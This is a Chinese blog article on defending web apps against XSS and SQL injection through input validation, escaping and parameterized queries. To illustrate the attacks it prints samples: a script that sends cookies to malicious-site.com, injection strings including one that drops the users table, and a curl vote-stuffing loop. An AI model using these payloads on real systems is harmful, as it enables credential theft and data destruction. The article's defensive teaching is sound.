LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

为什么老程序员从不信任用户输入?揭秘一个习惯如何防住99%的安全漏洞

admin
2025年12月23日 9:10 本文热度 876

这不是危言耸听,也不是什么新框架新工具。这是每个从坑里爬出来的开发者都会养成的本能:永远不要相信用户输入的任何东西。

一、真实事故:一个表单字段如何让整个系统沦陷

2021年,我接手过一个电商后台系统的安全修复项目。

客户反馈说管理员后台偶尔会弹出奇怪的广告弹窗,有时候还会跳转到博彩网站。最诡异的是,这个问题不是每次都出现,而是随机触发

服务器日志干净得像洗过一样,没有异常请求,没有可疑IP,防火墙规则也没问题。

我开始逐个排查代码,最终在用户反馈模块发现了问题:

// 问题代码(简化版)
app.get('/admin/feedback'async (req, res) => {
  const feedbacks = await db.query('SELECT * FROM feedbacks');
  
  res.send(`
    <html>
      <body>
        ${feedbacks.map(f => `
          <div class="feedback">
            <h3>${f.title}</h3>
            <p>${f.content}</p>
          </div>
        `
).join('')}

      </body>
    </html>
  `
);
});

看出问题了吗?

这段代码直接把数据库的内容渲染到HTML中,没有任何过滤。

某个用户(或者说攻击者)在提交反馈时,填写的内容是这样的:

<script>
  window.location.href = 'http://malicious-site.com?cookie=' + document.cookie;
</script>

这段脚本被存入数据库,然后在管理员查看反馈时执行。管理员的登录凭证就这样被发送到了攻击者的服务器上。

这就是最经典的存储型XSS(Stored Cross-Site Scripting)攻击。

更可怕的是,这个系统还有SQL注入漏洞。在搜索功能里,我发现了这样的代码:

app.get('/search'async (req, res) => {
  const keyword = req.query.q;
  const sql = `SELECT * FROM products WHERE name LIKE '%${keyword}%'`;
  const results = await db.query(sql);
  res.json(results);
});

只要攻击者在搜索框输入:

' OR '1'='1' --

完整的SQL就变成:

SELECT * FROM products WHERE name LIKE '%' OR '1'='1' --%'

-- 是SQL的注释符号,后面的内容会被忽略。'1'='1' 永远为真,这样攻击者就能拿到全部商品数据。

如果把输入改成:

'; DROP TABLE users; --

那就更惨了,整张用户表直接被删除

二、为什么"永不信任输入"是安全的第一道防线

很多开发者以为安全是运维的事,或者是专门的安全团队负责的。

这是一个致命的误解。

就像淘宝、抖音、微信这些国民级应用,它们的安全不是靠防火墙和加密算法守住的,而是靠每一个后端接口、每一个前端组件、每一行处理用户数据的代码守住的。

阿里云、腾讯云提供的WAF(Web应用防火墙)确实能拦截很多攻击,但它们无法识别业务逻辑中的漏洞。

举个例子:

假设你做了一个在线投票系统,用户可以给心仪的选手投票。你在前端限制了"每个用户只能投一次票",但后端没有做校验。

攻击者用Postman或者cURL直接调用你的API:

for i in {1..10000}; do
  curl -X POST https://api.example.com/vote \
       -H "Content-Type: application/json" \
       -d '{"candidate_id": 1}'
done

一个循环,一万票到手。

前端的任何限制,在攻击者眼里都等于没有。

这就是为什么我们需要养成一个习惯:

永远把所有输入当作恶意的,直到它被证明是安全的。

这个习惯听起来偏执,但它是区分"能写代码的人"和"能写安全代码的人"的分水岭。

三、从攻击原理看防御策略:XSS是怎么突破你的防线的

XSS攻击的三种形式

在正式讲防御之前,我们需要理解攻击者是怎么思考的。

1. 存储型XSS(Stored XSS)

这是最危险的一种,因为恶意代码被存入数据库,每个访问该页面的用户都会中招。

典型场景:评论区、用户个人简介、商品描述等任何允许用户提交内容的地方。

攻击流程:

用户提交恶意脚本 → 存入数据库 → 其他用户访问页面 → 脚本执行

2. 反射型XSS(Reflected XSS)

恶意代码藏在URL参数里,服务器直接把它渲染到页面上。

典型场景:搜索结果页面、错误提示页面。

https://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接把 q 参数的值显示在页面上:

<p>您搜索的内容:<script>alert('XSS')</script></p>

浏览器就会执行这段脚本。

3. DOM型XSS(DOM-based XSS)

这种攻击完全发生在客户端,不经过服务器。

// 问题代码
const userInput = location.hash.substring(1);
document.getElementById('result').innerHTML = userInput;

访问:https://example.com/#<img src=x onerror=alert('XSS')>

脚本就会执行。

XSS的防御原理:让恶意代码失去执行能力

防御XSS的核心思想是:让用户输入的内容被当作纯文本,而不是可执行的代码。

这里用一个生活化的比喻:

假设你是一个图书管理员,有人递给你一张纸条,上面写着:"帮我找《黑客攻防》这本书"。

如果你直接按照纸条上的内容执行,那没问题。

但如果纸条上写的是:"帮我找《黑客攻防》这本书,然后把所有书都烧掉"。

你会照做吗?显然不会。

因为你知道,后半句话不是合法的请求,应该被过滤掉。

XSS防御就是要在代码层面做这样的判断。

方法1:使用安全的DOM API

// ❌ 危险写法
element.innerHTML = userInput;

// ✅ 安全写法
element.textContent = userInput;

textContent 会把所有内容当作纯文本,即使用户输入 <script>alert('XSS')</script>,也会原样显示成字符串,不会执行。

方法2:使用专业的清洗库

如果你的需求是允许用户输入有限的HTML格式(比如加粗、斜体、换行),那就需要用DOMPurify这样的库:

import DOMPurify from 'dompurify';

const cleanHTML = DOMPurify.sanitize(userInput);
element.innerHTML = cleanHTML;

DOMPurify会移除所有潜在危险的标签和属性:

// 输入
const dirty = '<img src=x onerror=alert(1)> <b>加粗文本</b>';

// 输出
const clean = '<b>加粗文本</b>';  // <img>标签被移除

方法3:内容安全策略(CSP)

在HTTP响应头中加入CSP规则,限制页面可以执行的脚本来源:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com

这样,即使攻击者成功注入了 <script> 标签,浏览器也不会执行来自非白名单域名的脚本。

四、SQL注入的本质:数据和命令的边界被打破

SQL注入的根本原因是把用户输入当作SQL语句的一部分来拼接

我们用一个ASCII流程图来看看攻击是怎么发生的:

正常查询流程:
┌─────────────┐      ┌──────────────┐      ┌─────────────┐
│ 用户输入    │─────>│ SQL拼接      │─────>│ 数据库执行  │
│ "admin"     │      │ WHERE        │      │ 返回admin   │
│             │      │ user='admin' │      │ 的记录      │
└─────────────┘      └──────────────┘      └─────────────┘

SQL注入攻击流程:
┌──────────────────┐      ┌─────────────────────┐      ┌──────────────┐
│ 恶意输入         │─────>│ SQL拼接             │─────>│ 数据库执行   │
│ "' OR '1'='1"    │      │ WHERE user='' OR    │      │ 返回所有记录 │
│                  │      │ '1'='1'             │      │              │
└──────────────────┘      └─────────────────────┘      └──────────────┘

真实案例:2011年索尼PlayStation Network数据泄露

2011年,索尼的PlayStation Network遭遇了史上最严重的安全事故之一,7700万用户的个人信息被泄露,包括姓名、地址、邮箱、密码,甚至部分信用卡信息。

事后调查发现,攻击者利用了一个简单的SQL注入漏洞,类似这样的代码:

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

攻击者在用户名字段输入:

admin' --

SQL语句就变成:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'

-- 后面的内容被注释掉了,密码校验直接被绕过

这个漏洞导致索尼关闭服务23天,损失高达1.71亿美元,还不包括声誉损失。

SQL注入的防御:让数据永远是数据

防御SQL注入的核心是使用参数化查询(Parameterized Query),也叫预编译语句(Prepared Statement)。

错误做法:字符串拼接

// ❌ 永远不要这样做
const email = req.body.email;
const query = `SELECT * FROM users WHERE email = '${email}'`;
const user = await db.query(query);

正确做法:参数化查询

// ✅ Node.js + PostgreSQL
const email = req.body.email;
const query = 'SELECT * FROM users WHERE email = $1';
const user = await db.query(query, [email]);

// ✅ Node.js + MySQL
const email = req.body.email;
const query = 'SELECT * FROM users WHERE email = ?';
const [rows] = await db.query(query, [email]);

为什么参数化查询能防注入?

因为参数化查询把数据和命令分离了。

在执行SQL时,数据库引擎会先编译SQL语句的结构,然后再把参数的值填充进去。参数的值永远被当作纯数据,不会被解释为SQL命令的一部分

用一个形象的比喻:

  • 字符串拼接就像直接让陌生人进你家,并且允许他在墙上随便涂鸦。
  • 参数化查询就像给陌生人一个透明的玻璃箱,他只能在箱子里活动,不能对房子本身做任何事。

使用ORM框架

现代的ORM(对象关系映射)框架大多默认使用参数化查询:

// Sequelize (Node.js ORM)
const user = await User.findOne({
where: { email: req.body.email }
});

// Prisma
const user = await prisma.user.findUnique({
where: { email: req.body.email }
});

// TypeORM
const user = await userRepository.findOne({
where: { email: req.body.email }
});

这些ORM会自动处理参数转义,你基本不需要担心SQL注入。

注意一个陷阱:如果你在ORM中使用原始SQL,还是有风险的。

// ❌ 仍然不安全
const email = req.body.email;
const user = await sequelize.query(
  `SELECT * FROM users WHERE email = '${email}'`
);

// ✅ ORM的原始查询也要用参数化
const user = await sequelize.query(
  'SELECT * FROM users WHERE email = :email',
  { replacements: { email: req.body.email } }
);

五、输入验证的完整防御体系:从前端到后端

很多人以为XSS和SQL注入是两个独立的问题,其实它们的防御策略可以统一成一套体系。

第一层:Schema验证(结构层防御)

在数据进入业务逻辑之前,先验证它的结构、类型和范围。

import { z } from'zod';

// 定义数据结构
const registerSchema = z.object({
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
email: z.string().email(),
password: z.string().min(8).max(100),
age: z.number().int().positive().max(150)
});

// 验证请求
app.post('/register'async (req, res) => {
const result = registerSchema.safeParse(req.body);

if (!result.success) {
    return res.status(400).json({
      error'输入数据格式错误',
      details: result.error.errors
    });
  }

// 通过验证后才能继续
const validatedData = result.data;
// ...
});

这种验证能拦住大部分格式不正确的攻击。

比如:

  • 用户名字段期望 string,攻击者传入 { "$ne": null } 这种MongoDB注入payload,Schema验证会直接拒绝。
  • 年龄字段期望 number,攻击者传入 "18<script>alert(1)</script>",Schema验证会报错。

第二层:业务逻辑验证(语义层防御)

通过Schema验证后,数据格式是对的,但不一定符合业务规则。

// Schema验证:email格式正确
// 业务验证:email是否已被注册

const existingUser = await db.query(
  'SELECT * FROM users WHERE email = $1',
  [validatedData.email]
);

if (existingUser.length > 0) {
  return res.status(409).json({ error'该邮箱已被注册' });
}

第三层:输出时清洗(展示层防御)

即使数据通过了前两层验证,在输出到前端时仍然要小心。

在React中:

// ✅ React默认会转义
function UserProfile({ user }{
  return (
    <div>
      <h1>{user.name}</h1>  {/* 自动转义 */}
      <p>{user.bio}</p>
    </div>

  );
}

// ❌ 危险:绕过了React的自动转义
function UserProfile({ user }{
  return (
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
  );
}

在Vue中:

<!-- ✅ Vue默认会转义 -->
<template>
  <div>
    <p>{{ user.bio }}</p>
  </div>
</template>

<!-- ❌ 危险:v-html会直接渲染HTML -->
<template>
  <div v-html="user.bio"></div>
</template>

如果确实需要渲染用户提交的HTML(比如富文本编辑器的内容),必须先清洗:

import DOMPurify from 'dompurify';

function RichTextDisplay({ content }{
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b''i''em''strong''p''br''ul''ol''li'],
    ALLOWED_ATTR: []
  });
  
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

第四层:数据库层防御(存储层防御)

使用参数化查询已经讲过了,这里补充一个最佳实践:最小权限原则

不要让应用程序使用数据库的root账号或高权限账号。

// ❌ 危险:使用超级管理员账号
const db = new Pool({
user'root',
password'admin123',
database'myapp',
host'localhost',
port5432
});

// ✅ 安全:使用专门的应用账号,只有特定表的读写权限
const db = new Pool({
user'myapp_user',
password: process.env.DB_PASSWORD,
database'myapp',
host'localhost',
port5432
});

在数据库层面设置权限:

-- 创建一个只有特定权限的用户
CREATEUSER myapp_user WITHPASSWORD'secure_password';

-- 只允许访问特定数据库
GRANTCONNECTONDATABASE myapp TO myapp_user;

-- 只允许对特定表进行增删改查,禁止DROP TABLE等危险操作
GRANTSELECTINSERTUPDATEDELETEONusers, products, orders TO myapp_user;

这样即使SQL注入成功了,攻击者也无法执行 DROP DATABASE 这样的毁灭性命令。

六、CI/CD中的自动化安全检查:把漏洞扼杀在上线前

安全不应该依赖程序员的记忆力,而应该集成到开发流程中。

1. ESLint插件检测不安全的模式

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection''error',
    'security/detect-non-literal-regexp''warn',
    'security/detect-unsafe-regex''error',
    'no-eval''error',
    'no-implied-eval''error'
  }
};

这些规则能检测出:

  • 动态生成的正则表达式(可能导致ReDoS攻击)
  • eval() 和 Function() 的使用
  • 不安全的对象属性访问

2. Semgrep静态分析

Semgrep可以扫描代码中的安全模式。

# .semgrep.yml
rules:
-id:sql-injection-risk
    pattern:|
      db.query($SQL, ...)
    message:"可能存在SQL注入风险,请使用参数化查询"
    severity:ERROR
    languages:[javascript,typescript]
    
-id:xss-innerhtml
    pattern:|
      $EL.innerHTML = $INPUT
    message:"直接使用innerHTML可能导致XSS,请使用textContent或DOMPurify"
    severity:WARNING
    languages:[javascript,typescript]

在CI中运行:

# .github/workflows/security.yml
name:SecurityCheck

on:[push,pull_request]

jobs:
security:
    runs-on:ubuntu-latest
    steps:
      -uses:actions/checkout@v3
      
      -name:RunSemgrep
        uses:returntocorp/semgrep-action@v1
        with:
          config:.semgrep.yml

3. 依赖安全扫描

定期检查依赖包的已知漏洞:

# npm
npm audit fix

# Yarn
yarn audit

# 使用Snyk
npx snyk test

在package.json中添加precommit钩子:

{
  "husky": {
    "hooks": {
      "pre-commit""npm audit --audit-level=high"
    }
  }
}

七、真实场景实战:电商系统的完整防御

假设我们要做一个类似淘宝的商品评论功能,用户可以发表评论,其他用户可以看到。

这是一个典型的XSS高危场景,因为:

  1. 用户输入的内容会被存储
  2. 内容会展示给其他用户
  3. 可能包含富文本格式(图片、链接、emoji)

后端实现

import express from'express';
import { z } from'zod';
import DOMPurify from'isomorphic-dompurify';
import { db } from'./database';

const app = express();

// Schema验证
const commentSchema = z.object({
productId: z.number().int().positive(),
userId: z.number().int().positive(),
content: z.string().min(1).max(500),
rating: z.number().int().min(1).max(5)
});

// 提交评论接口
app.post('/api/comments'async (req, res) => {
// 第一层:Schema验证
const validation = commentSchema.safeParse(req.body);
if (!validation.success) {
    return res.status(400).json({
      error'输入数据不符合要求',
      details: validation.error.errors
    });
  }

const { productId, userId, content, rating } = validation.data;

// 第二层:HTML清洗
const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b''i''em''strong''br'],
    ALLOWED_ATTR: []
  });

// 第三层:参数化查询存储
try {
    await db.query(
      `INSERT INTO comments (product_id, user_id, content, rating, created_at) 
       VALUES ($1, $2, $3, $4, NOW())`
,
      [productId, userId, cleanContent, rating]
    );
    
    res.json({ successtrue });
  } catch (error) {
    console.error('数据库错误:', error);
    res.status(500).json({ error'评论提交失败' });
  }
});

// 获取评论接口
app.get('/api/comments/:productId'async (req, res) => {
const productId = parseInt(req.params.productId);

if (isNaN(productId) || productId <= 0) {
    return res.status(400).json({ error'商品ID无效' });
  }

// 参数化查询获取评论
const comments = await db.query(
    `SELECT c.*, u.username, u.avatar 
     FROM comments c 
     JOIN users u ON c.user_id = u.id 
     WHERE c.product_id = $1 
     ORDER BY c.created_at DESC 
     LIMIT 50`
,
    [productId]
  );

  res.json(comments);
});

前端实现(React)

import { useState, useEffect } from'react';
import DOMPurify from'dompurify';

function CommentSection({ productId }{
const [comments, setComments] = useState([]);
const [newComment, setNewComment] = useState('');
const [rating, setRating] = useState(5);

  useEffect(() => {
    fetch(`/api/comments/${productId}`)
      .then(res => res.json())
      .then(data => setComments(data));
  }, [productId]);

const handleSubmit = async (e) => {
    e.preventDefault();
    
    // 前端也做基础验证(但不能依赖它)
    if (newComment.length === 0 || newComment.length > 500) {
      alert('评论长度必须在1-500字之间');
      return;
    }
    
    const response = await fetch('/api/comments', {
      method'POST',
      headers: { 'Content-Type''application/json' },
      bodyJSON.stringify({
        productId,
        userId: currentUser.id,
        content: newComment,
        rating
      })
    });
    
    if (response.ok) {
      setNewComment('');
      // 重新加载评论列表
      const updatedComments = await fetch(`/api/comments/${productId}`);
      setComments(await updatedComments.json());
    }
  };

return (
    <div className="comments">
      <form onSubmit={handleSubmit}>
        <textarea
          value={newComment}
          onChange={(e) =>
 setNewComment(e.target.value)}
          placeholder="写下你的评价..."
          maxLength={500}
        />
        <select value={rating} onChange={(e) => setRating(Number(e.target.value))}>
          <option value={5}>5星 - 非常满意</option>
          <option value={4}>4星 - 满意</option>
          <option value={3}>3星 - 一般</option>
          <option value={2}>2星 - 不满意</option>
          <option value={1}>1星 - 非常不满意</option>
        </select>
        <button type="submit">提交评论</button>
      </form>

      <div className="comment-list">
        {comments.map(comment => (
          <div key={comment.id} className="comment">
            <img src={comment.avatar} alt={comment.username} />
            <div>
              <strong>{comment.username}</strong>
              <div className="rating">{'⭐'.repeat(comment.rating)}</div>
              {/* React会自动转义,不需要额外处理 */}
              <p>{comment.content}</p>
              <span>{new Date(comment.created_at).toLocaleDateString()}</span>
            </div>
          </div>
        ))}
      </div>
    </div>

  );
}

这套防御体系的关键点

  1. 多层防御:前端验证(用户体验) → Schema验证(结构正确性) → HTML清洗(内容安全) → 参数化查询(存储安全)
  2. 纵深防御:即使某一层被绕过,其他层仍然能拦住攻击
  3. 默认安全:使用框架的默认行为(React自动转义),而不是手动处理
  4. 白名单策略:只允许特定的HTML标签,而不是黑名单式地禁止危险标签

八、"零信任"思维:不仅是用户输入,一切外部数据都不可信

"永不信任输入"这个原则可以扩展得更广:

不要信任第三方API的数据

即使是大厂的API,也可能返回异常数据。

// ❌ 危险
const userData = await fetch('https://api.third-party.com/user/123');
const user = await userData.json();
document.getElementById('profile').innerHTML = user.bio;  // XSS风险

// ✅ 安全
const userData = await fetch('https://api.third-party.com/user/123');
const rawUser = await userData.json();

// 验证数据结构
const userSchema = z.object({
id: z.number(),
name: z.string(),
bio: z.string()
});

const user = userSchema.parse(rawUser);  // 如果数据不符合预期,会抛出异常

// 清洗后再使用
document.getElementById('profile').textContent = user.bio;

不要信任环境变量

在生产环境中,环境变量可能被篡改或配置错误。

// ❌ 危险
const dbHost = process.env.DB_HOST;
const connection = createConnection(`mongodb://${dbHost}`);

// ✅ 安全:验证环境变量
const envSchema = z.object({
DB_HOST: z.string().regex(/^[\w\.\-]+$/),  // 只允许域名格式
DB_PORT: z.string().regex(/^\d+$/),
DB_NAME: z.string().regex(/^[\w\-]+$/)
});

const env = envSchema.parse(process.env);
const connection = createConnection({
host: env.DB_HOST,
portparseInt(env.DB_PORT),
database: env.DB_NAME
});

不要信任上传的文件

文件上传是另一个高危区域。

import multer from'multer';
import sharp from'sharp';
import { z } from'zod';

const upload = multer({
limits: {
    fileSize5 * 1024 * 1024// 限制5MB
  },
fileFilter(req, file, cb) => {
    // 白名单验证MIME类型
    const allowedMimes = ['image/jpeg''image/png''image/gif''image/webp'];
    if (!allowedMimes.includes(file.mimetype)) {
      return cb(newError('只允许上传图片文件'));
    }
    cb(nulltrue);
  }
});

app.post('/upload', upload.single('avatar'), async (req, res) => {
if (!req.file) {
    return res.status(400).json({ error'未检测到文件' });
  }

try {
    // 使用sharp重新编码图片,移除可能的恶意EXIF数据
    const processedImage = await sharp(req.file.buffer)
      .resize(800800, { fit'inside' })
      .jpeg({ quality80 })
      .toBuffer();
    
    // 生成随机文件名,防止路径遍历攻击
    const filename = `${Date.now()}-${Math.random().toString(36)}.jpg`;
    
    // 存储到专门的静态资源目录
    await fs.writeFile(`/var/www/uploads/${filename}`, processedImage);
    
    res.json({ url`/uploads/${filename}` });
  } catch (error) {
    console.error('图片处理失败:', error);
    res.status(500).json({ error'文件处理失败' });
  }
});

九、终极检查清单:把防御变成肌肉记忆

把这个检查清单贴在你的工作台上:

✅ 接口开发检查清单

每次写接口时都问自己:

  • [ ] 这个接口的所有参数都有Schema验证吗?
  • [ ] 数据库查询使用参数化/ORM了吗?
  • [ ] 返回给前端的数据是否包含敏感信息(密码、token)?
  • [ ] 错误信息是否泄露了系统细节(数据库类型、文件路径)?
  • [ ] 文件上传是否验证了类型和大小?
  • [ ] 批量操作是否限制了数量?

✅ 前端开发检查清单

每次渲染用户数据时都问自己:

  • [ ] 用的是 textContent 还是 innerHTML
  • [ ] 如果必须用 innerHTML,有没有先用DOMPurify清洗?
  • [ ] React/Vue的自动转义有没有被 dangerouslySetInnerHTML 或 v-html 绕过?
  • [ ] URL参数有没有直接渲染到页面上?
  • [ ] 动态生成的样式或属性有没有验证?

✅ Code Review检查清单

审查他人代码时重点看:

  • [ ] innerHTML 的使用
  • [ ] SQL语句的拼接
  • [ ] eval() 或 Function() 的使用
  • [ ] 正则表达式是否可能导致ReDoS
  • [ ] 文件操作的路径是否可控
  • [ ] 环境变量是否直接使用

✅ CI/CD检查清单

  • [ ] ESLint是否配置了安全插件?
  • [ ] 是否有Semgrep或类似的静态分析?
  • [ ] 是否有依赖安全扫描(npm audit / Snyk)?
  • [ ] 是否有集成测试覆盖恶意输入?

十、写在最后:从"能跑"到"安全地跑"

我认识的很多开发者,包括我自己最开始写代码的时候,都有一个毛病:只要功能能跑起来就满足了

用户能注册、能登录、能下单、能支付,产品经理验收通过,项目按时上线。

然后某天凌晨三点,运维给你打电话:"数据库被人删了,所有用户数据都没了。"

或者更隐蔽的,你的系统被当作肉鸡,攻击者用它来挖矿、发垃圾邮件、DDoS攻击其他网站。

这时候你才意识到,"能跑"和"安全地跑"是两回事。

好消息是,安全不需要你成为密码学专家,不需要你研究渗透测试,不需要你背诵OWASP Top 10。

你只需要养成一个习惯:

永远不要相信任何你没有亲手创建的数据。

这个习惯会让你在写每一行涉及外部数据的代码时,本能地多问一句:

  • "这个数据是从哪里来的?"
  • "如果它是恶意的会怎样?"
  • "我怎么确保它不会破坏系统?"

这不是偏执,这是职业素养。

阿里云、腾讯云、字节跳动这些大厂每天要处理亿级的请求,他们的系统能稳定运行,不是因为他们有多高明的防御技术,而是因为每一个后端工程师都把输入验证当作呼吸一样自然的事情

从明天开始,给自己定一个小目标:

找出你当前项目中的一个表单、一个API接口,或者一个数据库查询,问问自己:"如果用户输入恶意数据,我的代码会怎样?"

如果答案是"我不知道",那就花10分钟加上验证和清洗。

这10分钟,可能会救你免于加班到天亮、免于被客户骂、免于职业生涯留下污点。

好的代码不仅能工作,还能在攻击者面前岿然不动。


阅读原文:原文链接


该文章在 2025/12/23 10:38:49 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved